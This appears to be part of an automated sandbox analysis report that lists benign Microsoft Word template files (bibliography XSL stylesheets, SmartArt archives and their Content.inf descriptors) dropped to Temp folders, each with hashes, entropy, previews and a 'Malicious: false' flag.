Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	255948
Entropy (8bit):	5.103631650117028
Encrypted:	false
SSDEEP:	6144:gwprAm795vtfb8p4bgWPWEtTmtcRCDPThNPFQwB+26RxlsIBkAgRMBHcTCwsHe5a:kW
MD5:	9888A214D362470A6189DEFF775BE139
SHA1:	32B552EB3C73CD7D0D9D924C96B27A86753E0F97
SHA-256:	C64ED5C2A323C00E84272AD3A701CAEBE1DCCEB67231978DE978042F09635FA7
SHA-512:	8A75FC2713003FA40B9730D29C786C76A796F30E6ACE12064468DD2BB4BF97EF26AC43FFE1158AB1DB06FF715D2E6CDE8EF3E8B7C49AA1341603CE122F311073
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>............<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt".xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>..........<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select=

C:\Users\user\AppData\Local\Temp\TCD59F6.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	302
Entropy (8bit):	3.537169234443227
Encrypted:	false
SSDEEP:	6:fxnxUXfQIUA/e/Wl8ME3QepmlJ0+3FbnKfZObdADryMluxHZypwwyv:fxnyXZ/eulNGHmD0wbnKYZAH/lMZqiv
MD5:	9C00979164E78E3B890E56BE2DF00666
SHA1:	1FA3C439D214C34168ADF0FBA5184477084A0E51
SHA-256:	21CCB63A82F1E6ACD6BAB6875ABBB37001721675455C746B17529EE793382C7B
SHA-512:	54AC8732C2744B60DA744E54D74A2664658E4257A136ABE886FF21585E8322E028D8243579D131EF4E9A0ABDDA70B4540A051C8B8B60D65C3EC0888FD691B9A7
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .i.s.o.6.9.0.n.m.e.r.i.c.a.l...x.s.l.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. ./.f. .{.F.i.l.e.P.a.t.h.}.........

C:\Users\user\AppData\Local\Temp\TCD59F6.tmp\iso690nmerical.xsl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	217137
Entropy (8bit):	5.068335381017074
Encrypted:	false
SSDEEP:	6144:AwprA3Z95vtf58pb1WP2DCvCmvQursq7vIme5QyQzSS1apSiQhHDlruvoVeMUwFj:4P
MD5:	3BF8591E1D808BCCAD8EE2B822CC156B
SHA1:	9CC1E5EFD715BD0EAE5AF983FB349BAC7A6D7BA0
SHA-256:	7194396E5C833E6C8710A2E5D114E8E24338C64EC9818D51A929D57A5E4A76C8
SHA-512:	D434A4C15DA3711A5DAAF5F7D0A5E324B4D94A04B3787CA35456BFE423EAC9D11532BB742CDE6E23C16FA9FD203D3636BD198B41C7A51E7D3562D5306D74F757
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt".xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>..........<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>...... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$parame

C:\Users\user\AppData\Local\Temp\TCD59F7.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	288
Entropy (8bit):	3.523917709458511
Encrypted:	false
SSDEEP:	6:fxnxUXC1l8ME3QepmlJ0+3FbnKfZObdADryMluxHZypwwyv:fxnySvNGHmD0wbnKYZAH/lMZqiv
MD5:	4A9A2E8DB82C90608C96008A5B6160EF
SHA1:	A49110814D9546B142C132EBB5B9D8A1EC23E2E6
SHA-256:	4FA948EEB075DFCB8DCA773A3F994560C69D275690953625731C4743CD5729F7
SHA-512:	320B9CC860FFBDB0FD2DB7DA7B7B129EEFF3FFB2E4E4820C3FBBFEA64735EB8CFE1F4BB5980302770C0F77FF575825F2D9A8BB59FC80AD4C198789B3D581963B
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .c.h.i.c.a.g.o...x.s.l.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. ./.f. .{.F.i.l.e.P.a.t.h.}.........

C:\Users\user\AppData\Local\Temp\TCD59F7.tmp\chicago.xsl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	296658
Entropy (8bit):	5.000002997029767
Encrypted:	false
SSDEEP:	6144:RwprAMk0qvtfL/vF/bkWPz9yv7EOMBPitjASjTQQr7IwR0TnyDkJb78plJwf33iV:M
MD5:	9AC6DE7B629A4A802A41F93DB2C49747
SHA1:	3D6E929AA1330C869D83F2BF8EBEBACD197FB367
SHA-256:	52984BC716569120D57C8E6A360376E9934F00CF31447F5892514DDCCF546293
SHA-512:	5736F14569E0341AFB5576C94B0A7F87E42499CEC5927AAC83BB5A1F77B279C00AEA86B5F341E4215076D800F085D831F34E4425AD9CFD52C7AE4282864B1E73
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>....<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>............<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$para

C:\Users\user\AppData\Local\Temp\TCD5A08.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	260
Entropy (8bit):	3.4895685222798054
Encrypted:	false
SSDEEP:	6:fxnxUX4cPBl4xoE3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxnyPl4xoGHmD0+dAH/luWvv
MD5:	63E8B0621B5DEFE1EF17F02EFBFC2436
SHA1:	2D02AD4FD9BF89F453683B7D2B3557BC1EEEE953
SHA-256:	9243D99795DCDAD26FA857CB2740E58E3ED581E3FAEF0CB3781CBCD25FB4EE06
SHA-512:	A27CDA84DF5AD906C9A60152F166E7BD517266CAA447195E6435997280104CBF83037F7B05AE9D4617323895DCA471117D8C150E32A3855156CB156E15FA5864
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .V.a.r.y.i.n.g.W.i.d.t.h.L.i.s.t...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCD5A08.tmp\VaryingWidthList.glox

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	3075
Entropy (8bit):	7.716021191059687
Encrypted:	false
SSDEEP:	48:96yn4sOBoygpySCCxwKsZCB2oLEIK+aQpUNLRQWtmMamIZxAwCC2QnyODhVOzP4:l0vCxJsZQ2ofpKvtmMdIZxAwJyODhVOE
MD5:	67766FF48AF205B771B53AA2FA82B4F4
SHA1:	0964F8B9DC737E954E16984A585BDC37CE143D84
SHA-256:	160D05B4CB42E1200B859A2DE00770A5C9EBC736B70034AFC832A475372A1667
SHA-512:	AC28B0B4A9178E9B424E5893870913D80F4EE03D595F587AA1D3ACC68194153BAFC29436ADFD6EA8992F0B00D17A43CFB42C529829090AF32C3BE591BD41776D
Malicious:	false
Preview:	PK.........nB;.h......F.......[Content_Types].xmlz.........MN.0...by.b.,.BI...X `...{..O.S...H\.'.XTP..K{.o.....rg..bL...XM.:.v..c.k...}.D....9.....Bb>.+..G.......+(.u}.w.]...v..{.M&.].>`....nB..B0Z@.e.u..R.......-.&#....aR..`.a..\|. 1^......&..\|..s.A.t..b..A.i7...7.&....bQK$O.......9....V....Wt_PK.........nB;O.......k......._rels/.rels...J.@.._e..4...i/.,x..Lw'....v'.<....WpQ..,......7?....u.y..;bL../..3t.+.t.G....Y.v8.eG.MH,....(\..d..R....t>Z.<F-..G.(..\.x...l?..M..:#........2.#.[..H7..#g{...._j...(.....q......;.5'..Nt..."...A.h........>....\.'...L..D..DU<.....C.TKu.5Tu....bV..;PK.........C26.b..............diagrams/layout1.xml.T.n. .}N....).je./m.+u....`{..0P......p..U}c.9g..3....=h.(.."..D-.&....~.....y..I...(r.aJ.Y..e..;.YH...P.{b......hz.-..>k.i5..z>.l...f...c..Y...7.ND...=.%..1...Y.-.o.=)(1g.{.".E.>2.=...]Y..r0.Q...e.E.QKal,.....{f...r..9-.mH..C..\.w....c.4.JUbx.p Q...R......_...G.F...uPR...\|um.+g..?..C..gT...7.0.8l$.*.=qx.......-8..8.

C:\Users\user\AppData\Local\Temp\TCD5A18.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	238
Entropy (8bit):	3.472155835869843
Encrypted:	false
SSDEEP:	6:fxnxUXGE2E3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxny4GHmD0+dAH/luWvv
MD5:	2240CF2315F2EB448CEA6E9CE21B5AC5
SHA1:	46332668E2169E86760CBD975FF6FA9DB5274F43
SHA-256:	0F7D0BD5A8CED523CFF4F99D7854C0EE007F5793FA9E1BA1CD933B0894BFBD0D
SHA-512:	10BA73FF861112590BF135F4B337346F9D4ACEB10798E15DC5976671E345BC29AC8527C6052FEC86AA7058E06D1E49052E49D7BCF24A01DB259B5902DB091182
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .r.i.n.g.s...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCD5A18.tmp\rings.glox

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	5151
Entropy (8bit):	7.859615916913808
Encrypted:	false
SSDEEP:	96:WkV3UHhcZDEteEJqeSGzpG43GUR8m8b6dDLiCTfjKPnD6H5RhfuDKNtxx3+7tDLp:Wq3UBc9EJqIpGgD5dDL1DjKvDKhfnNti
MD5:	6C24ED9C7C868DB0D55492BB126EAFF8
SHA1:	C6D96D4D298573B70CF5C714151CF87532535888
SHA-256:	48AF17267AD75C142EFA7AB7525CA48FAB579592339FB93E92C4C4DA577D4C9F
SHA-512:	A3E9DC48C04DC8571289F57AE790CA4E6934FBEA4FDDC20CB780F7EA469FE1FC1D480A1DBB04D15301EF061DA5700FF0A793EB67D2811C525FEF618B997BCABD
Malicious:	false
Preview:	PK.........nB;.h......F.......[Content_Types].xmlz.........MN.0...by.b.,.BI...X `...{..O.S...H\.'.XTP..K{.o.....rg..bL...XM.:.v..c.k...}.D....9.....Bb>.+..G.......+(.u}.w.]...v..{.M&.].>`....nB..B0Z@.e.u..R.......-.&#....aR..`.a..\|. 1^......&..\|..s.A.t..b..A.i7...7.&....bQK$O.......9....V....Wt_PK........5nB;.ndX....`......._rels/.rels...J.1.._%..f.J.J..x..AJ.2M&......g..#............\|.c..x{_._..^0e.\|.gU..z.....#.._..[..JG.m.....(...e..r."....P)....3..M].E:..SO.;D..c..J..rt...c.,.....a.;.....$.../5..D.Ue.g...Q3......5.':...@...~t{.v..QA>.P.R.A~..^AR.S4G......].n...x41....PK.........^5..s.V....Z......diagrams/layout1.xml.[]o.F.}N~..S.......VU.U+m6R........&.d.}...{M....Q.S....p9.'./O..z."..t>q....."[..j>y..?...u....[.}..j-...?Y..Bdy.I./.....0.._.....-.s...rj...I..=..<..9.\|>YK.....o.\|.my.F.LlB..be/E.Y!.$6r.f/.p%.......U....e..W.R..fK....`+?.rwX.[.b..\|..O>o.\|.....>1.......trN`7g..Oi.@5..^...]4.r...-y...T.h...[.j1..v....G..........nS..m..E"L...s

C:\Users\user\AppData\Local\Temp\TCD5A19.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	290
Entropy (8bit):	3.5161159456784024
Encrypted:	false
SSDEEP:	6:fxnxUX+l8ME3QepmlJ0+3FbnKfZObdADryMluxHZypwwyv:fxnyulNGHmD0wbnKYZAH/lMZqiv
MD5:	C15EB3F4306EBF75D1E7C3C9382DEECC
SHA1:	A3F9684794FFD59151A80F97770D4A79F1D030A6
SHA-256:	23C262DF3AEACB125E88C8FFB7DBF56FD23F66E0D476AFD842A68DDE69658C7F
SHA-512:	ACDF7D69A815C42223FD6300179A991A379F7166EFAABEE41A3995FB2030CD41D8BCD46B566B56D1DFBAE8557AFA1D9FD55143900A506FA733DE9DA5D73389D6
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .t.u.r.a.b.i.a.n...x.s.l.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. ./.f. .{.F.i.l.e.P.a.t.h.}.........

C:\Users\user\AppData\Local\Temp\TCD5A19.tmp\turabian.xsl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	344303
Entropy (8bit):	5.023195898304535
Encrypted:	false
SSDEEP:	6144:UwprANnsqvtfL/vF/bkWPRMMv7EOMBPitjASjTQQr7IwR0TnyDk1b78plJwf33iD:6
MD5:	F079EC5E2CCB9CD4529673BCDFB90486
SHA1:	FBA6696E6FA918F52997193168867DD3AEBE1AD6
SHA-256:	3B651258F4D0EE1BFFC7FB189250DED1B920475D1682370D6685769E3A9346DB
SHA-512:	4FFFA59863F94B3778F321DA16C43B92A3053E024BDD8C5317077EA1ECC7B09F67ECE3C377DB693F3432BF1E2D947EC5BF8E88E19157ED08632537D8437C87D6
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>......<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>............<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$pa

C:\Users\user\AppData\Local\Temp\TCD5A1A.tmp\CircleProcess.glox

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	16806
Entropy (8bit):	7.9519793977093505
Encrypted:	false
SSDEEP:	384:eSMjhqgJDGwOzHR3iCpK+QdLdfufFJ9aDn9LjDMVAwHknbz7OW:eSkhqglGwERSAHQdLhDn9AKokv7H
MD5:	950F3AB11CB67CC651082FEBE523AF63
SHA1:	418DE03AD2EF93D0BD29C3D7045E94D3771DACB4
SHA-256:	9C5E4D8966A0B30A22D92DB1DA2F0DBF06AC2EA75E7BB8501777095EA0196974
SHA-512:	D74BF52A58B0C0327DB9DDCAD739794020F00B3FA2DE2B44DAAEC9C1459ECAF3639A5D761BBBC6BDF735848C4FD7E124D13B23964B0055BB5AA4F6AFE76DFE00
Malicious:	false
Preview:	PK.........T.>................[Content_Types].xmlz.........=N.1...b.Eko(.B....(.Pp..=.u.?.....#q..ND.!$.J{.o....G..[Cv.....+.R.Nx..........0."u..S...$&.....Je..B..x......m......M^z....f....\|...N..Q..z.!.- .2.9y.i.8j...........0.AE..p.s~@../jw.#8.I.#....4.~Cl.:#h..f.PU.s.~........(.)F..Y......^x..PK.........T.>...V....L......._rels/.rels...J.@.._e..]AD.....x....3.t..T.w.\ZpA<x......v..'....z.........Y..[...<..2.TT....Q$.!.=.....&C....b".F.q.7...X3...7.8.N.}.. ?..8...#..,.L.3.#e...wZpZ.]S..:....t.....{..6.7.\|..,dH.e..K 7-}.~.v...5.......b..PK........Ul.<..<"I5...&......diagrams/layout1.xml.}.r.I..s........~Y.f.gzfv......E."w.K..J5m.e...4.0..Q... A.!...%...<...3.......O.......t~.u{...5.G......?,.........N......L......~.:....^,..r=./~7_..8............o.y......oo.3.f........f.......r.7../....qrr.v9.......,?..._O.....?9.O~]..zv.I'.W..........;..\..~....../........?~..n.....\}pt.........b,~...;>.=;>:..u.....?.......2]..]....i......9..<.p..4D..

C:\Users\user\AppData\Local\Temp\TCD5A1A.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	254
Entropy (8bit):	3.4720677950594836
Encrypted:	false
SSDEEP:	6:fxnxUXOu9+MlWlk2E3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxnycMlWlzGHmD0+dAH/luWvv
MD5:	D04EC08EFE18D1611BDB9A5EC0CC00B1
SHA1:	668FF6DFE64D5306220341FC2C1353199D122932
SHA-256:	FA60500F951AFAF8FFDB6D1828456D60004AE1558E8E1364ADC6ECB59F5450C9
SHA-512:	97EBCCAF64FA33238B7CFC0A6D853EFB050D877E21EE87A78E17698F0BB38382FCE7F6C4D97D550276BD6B133D3099ECAB9CFCD739F31BFE545F4930D896EEC3
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .C.i.r.c.l.e.P.r.o.c.e.s.s...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCD5A2B.tmp\APASixthEditionOfficeOnline.xsl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	333258
Entropy (8bit):	4.654450340871081
Encrypted:	false
SSDEEP:	6144:ybW83Zb181+MKHZR5D7H3hgtfL/8mIDbEhPv9FHSVsioWUyGYmwxAw+GIfnUNv5J:i
MD5:	5632C4A81D2193986ACD29EADF1A2177
SHA1:	E8FF4FDFEB0002786FCE1CF8F3D25F8E9631E346
SHA-256:	06DE709513D7976690B3DD8F5FDF1E59CF456A2DFBA952B97EACC72FE47B238B
SHA-512:	676CE1957A374E0F36634AA9CFFBCFB1E1BEFE1B31EE876483B10763EA9B2D703F2F3782B642A5D7D0945C5149B572751EBD9ABB47982864834EF61E3427C796
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>....<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt".xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">.. <xsl:output method="html" encoding="us-ascii"/>.... <xsl:template match="*" mode="outputHtml2">.. <xsl:apply-templates mode="outputHtml"/>.. </xsl:template>.... <xsl:template name="StringFormatDot">.. <xsl:param name="format" />.. <xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.. <xsl:when test="$format = ''"></xsl:when>.. <xsl:when test="substring($format, 1, 2) = '%%'">.. <xsl:text>%</xsl:text>.. <xsl:call-template name="StringFormatDot">.. <xsl:with-param name="format" select="substring($format, 3)" />.. <xsl:with-param name=

C:\Users\user\AppData\Local\Temp\TCD5A2B.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.541819892045459
Encrypted:	false
SSDEEP:	6:fxnxUXuqRDA5McaQVTi8ME3QepmlJ0+3FbnKfZObdADryMluxHZypwwyv:fxny+AASZQoNGHmD0wbnKYZAH/lMZqiv
MD5:	C3216C3FC73A4B3FFFE7ED67153AB7B5
SHA1:	F20E4D33BABE978BE6A6925964C57D6E6EF1A92E
SHA-256:	7CF1D6A4F0BE5E6184F59BFB1304509F38E480B59A3B091DBDC43B052D2137CB
SHA-512:	D3B78BE6E7633FF943F5E34063B5EFA4AF239CD49F437227FC7575F6CC65C497B7D6F6A979EA065065BEAF257CB368560B5462542692286052B5C7E5C01755BC
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .A.P.A.S.i.x.t.h.E.d.i.t.i.o.n.O.f.f.i.c.e.O.n.l.i.n.e...x.s.l.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. ./.f. .{.F.i.l.e.P.a.t.h.}.........

C:\Users\user\AppData\Local\Temp\TCD5A5E.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	332
Entropy (8bit):	3.547857457374301
Encrypted:	false
SSDEEP:	6:fxnxUXSpGLMeKlPaw93Ti8ME3QepmlJ0+3FbnKfZObdADryMluxHZypwwyv:fxnyipTIw9eNGHmD0wbnKYZAH/lMZqiv
MD5:	4EC6724CBBA516CF202A6BD17226D02C
SHA1:	E412C574D567F0BA68B4A31EDB46A6AB3546EA95
SHA-256:	18E408155A2C2A24D91CD45E065927FFDA726356AAB115D290A3C1D0B7100402
SHA-512:	DE45011A084AB94BF5B27F2EC274D310CF68DF9FB082E11726E08EB89D5D691EA086C9E0298E16AE7AE4B23753E5916F69F78AAD82F4627FC6F80A6A43D163DB
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .h.a.r.v.a.r.d.a.n.g.l.i.a.2.0.0.8.o.f.f.i.c.e.o.n.l.i.n.e...x.s.l.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. ./.f. .{.F.i.l.e.P.a.t.h.}.........

C:\Users\user\AppData\Local\Temp\TCD5A5E.tmp\harvardanglia2008officeonline.xsl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	284415
Entropy (8bit):	5.00549404077789
Encrypted:	false
SSDEEP:	6144:N9G5o7Fv0ZcxrStAtXWty8zRLYBQd8itHiYYPVJHMSo27hlwNR57johqBXlwNR2b:y
MD5:	33A829B4893044E1851725F4DAF20271
SHA1:	DAC368749004C255FB0777E79F6E4426E12E5EC8
SHA-256:	C40451CADF8944A9625DD690624EA1BA19CECB825A67081E8144AD5526116924
SHA-512:	41C1F65E818C2757E1A37F5255E98F6EDEAC4214F9D189AD09C6F7A51F036768C1A03D6CFD5845A42C455EE189D13BB795673ACE3B50F3E1D77DAFF400F4D708
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>....<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt"......xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">.....<xsl:output method="html" encoding="us-ascii"/>.....<xsl:template match="/">....<xsl:call-template name="Start"/>...</xsl:template>.....<xsl:template name="Start">....<xsl:choose>.....<xsl:when test="b:Version">......<xsl:text>2010.2.02</xsl:text>.....</xsl:when>.......<xsl:when test="b:XslVersion">......<xsl:text>2008</xsl:text>.....</xsl:when>.... <xsl:when test="b:StyleNameLocalized">.. <xsl:choose>.. <xsl:when test="b:StyleNameLocalized/b:Lcid='1033'">.. <xsl:text>Harvard - Anglia</xsl:text>.. </xsl:when>.. <xsl:when test="b:StyleNameLocalized/b:Lcid='1025'">.. <xsl:text>Harvard - Anglia</xsl:text>.. </xsl:when>.. <x

C:\Users\user\AppData\Local\Temp\TCD5A6F.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	374
Entropy (8bit):	3.5414485333689694
Encrypted:	false
SSDEEP:	6:fxnxUX8FaE3f8AWqlQqr++lcWimqnKOE3QepmlJ0+3FbnKfZObdADryMluxHZypo:fxnyj9AWI+acgq9GHmD0wbnKYZAH/lMf
MD5:	2F7A8FE4E5046175500AFFA228F99576
SHA1:	8A3DE74981D7917E6CE1198A3C8E35C7E2100F43
SHA-256:	1495B4EC56B371148EA195D790562E5621FDBF163CDD8A5F3C119F8CA3BD2363
SHA-512:	4B8FBB692D91D88B584E46C2F01BDE0C05DCD5D2FF073D83331586FB3D201EACD777D48DB3751E534E22115AA1C3C30392D0D642B3122F21EF10E3EE6EA3BE82
Malicious:	false
